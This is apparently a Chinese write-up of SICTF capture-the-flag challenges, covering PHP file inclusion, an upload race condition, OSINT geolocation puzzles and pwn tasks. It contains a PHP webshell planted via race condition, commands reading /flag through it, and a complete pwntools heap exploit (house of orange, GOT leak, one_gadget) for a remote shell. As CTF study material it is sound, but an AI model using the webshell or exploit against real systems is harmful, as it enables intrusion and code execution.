首先进入发现有SICTF传参,并且限制了前三个字符为php
加上这里有include()可推断为文件包含漏洞
利用php伪协议
得到密文
PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg==
base64解密
1
2
3
4
5
6
7
8
|
<?php
$file_path = "/flag";
if (file_exists($file_path)) {
$flag = file_get_contents($file_path);
}
else{
echo "error";
?>
|
可见直接读flag目录即可得到flag
解码得到
SICTF{ed2cb4ee-506f-47a8-821e-eb222183bad6}
进来先看源代码
发现对key做了限制
参考文章:https://blog.csdn.net/mochu7777777/article/details/115050295
绕过

然后这里一眼无参数rce
参考:https://zhuanlan.zhihu.com/p/157431794


看到对,和(做了限制

绕过
然后试着读flag

发现为空,所以决定看页面源代码

所以这个和include那道题一样直接cat /flag就行
拿到flag
进来首先随便上传一个文件

发现被秒删 然后思路就是条件竞争
上传4.php
1
2
3
4
|
<?php
file_put_contents("1.php",'<?php eval($_GET["123"]);?>');
echo "success";
?>
|
burp一直发包然后写一个python’一直读这个文件
1
2
3
4
|
import requests
while 1:
requests.get("http://210.44.151.51:10441/uploads/4.php")
print("test")
|
playload:http://210.44.151.51:10441/uploads/1.php?123=phpinfo();
http://210.44.151.51:10441/uploads/1.php?123=echo%20`cat%20/flag;

拿到一个文件

直接txt查看

get flag
因为主办方不查wp,所以那边只要求交部分图片
so,没有写wp


看见活动

查找
发现在顺义金街
然后再看到BHG直接查询
找到地址
北京市顺义区新顺南大街北京华联顺义金街购物中心
根据图片判断
1旁边为公交车2公家车专用车道城市有北京,天津,贵阳,郑州,大连,杭州,海口,南京,武汉,乌鲁木齐,厦门,西安,沈阳,银川,民和,上海,深圳3中间护栏为金色4护栏底座有平行花纹,柱头为金字塔形状,侧面大孩子有个圆形或人形图案5在网上查找照片仔细对比,符合上述条件为西安市政护栏5从西安寻找并仔细对比6从图片看出道路两旁树叶形状推断树大概为梧桐树7从上述条件查找得出答案
群里有人说是余出的题看qq空间判断是陕西
然后在地图上对比得出答案
陕西省西安市碑林区友谊西路
4.89 QkP:/ 复制打开抖音,看看# 网络迷踪 # 推理 # 冯柯南 网络迷踪:推理中环环相扣的逻辑 遗憾这是一次几乎失败的挑战 # … https://v.douyin.com/ieAjDv3B/
重庆市合川区秋季
百度识图

直接找地点宝相寺
山东省济宁市汶上县
百度识图

定位直接看

然后周围的公园
福建省福州市仓山区烟台山公园
打开判断为下溢
直接nc ip port
买2**32-1000个 直接买flag


IDA启动

先申请16个堆块控制chunk_size作为伪块头
0x100刚好溢出 能够在里面写0
然后house of orange手法拿到一块unsorted bin里的块
之后执行unsorted bin,拿下之前在块表里的伪块
unsorted bin attack*
之后利用got表拆出malloc地址 泄露libc 最后把malloc搞到one gadget上就能getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
from pwn import *
context.terminal = ['konsole', '-e']
context.log_level = 'debug'
#p = process("./baby_heap")
p = remote("210.44.151.51", 10069)
elf = ELF("./baby_heap")
def add(size, content):
p.recvuntil(">\n")
p.sendline("1")
p.recvuntil(":\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.sendline(content)
def edit(idx, size, content):
p.recvuntil(">\n")
p.sendline("2")
p.recvuntil(":\n")
p.sendline(str(idx))
p.recvuntil(":\n")
p.sendline(str(size))
p.recvuntil(":\n")
p.sendline(content)
def show(idx):
p.recvuntil(">\n")
p.sendline("3")
p.recvuntil(":\n")
p.sendline(str(idx))
return u64(p.recv(8))
# Construct chunk_size
for i in range(16):
add(0x100, "owo")
add(0x110, "awa")
add(0x1, "q")
edit(17, 0x30, b'a' * 0x18 + p64(0xdc1))
add(0x1000, "qwq")
edit(17, 0x40, b'a' * 0x18 + p64(0x111) + p64(114514) + p64(0x4040c8))
add(0x100, "nya")
add(0x100, "owo")
edit(20, 0x10, p64(0) + p64(elf.got['malloc']))
malloc_addr = show(0)
log.success("malloc_addr = " + hex(malloc_addr))
libc_base = malloc_addr - 0x84180
one_gadget_addr = 0xf1247 + libc_base
edit(0, 0x8, p64(one_gadget_addr))
#gdb.attach(p)
p.recvuntil(">\n")
p.sendline("1")
p.recvuntil(":\n")
p.sendline("233")
p.interactive()
|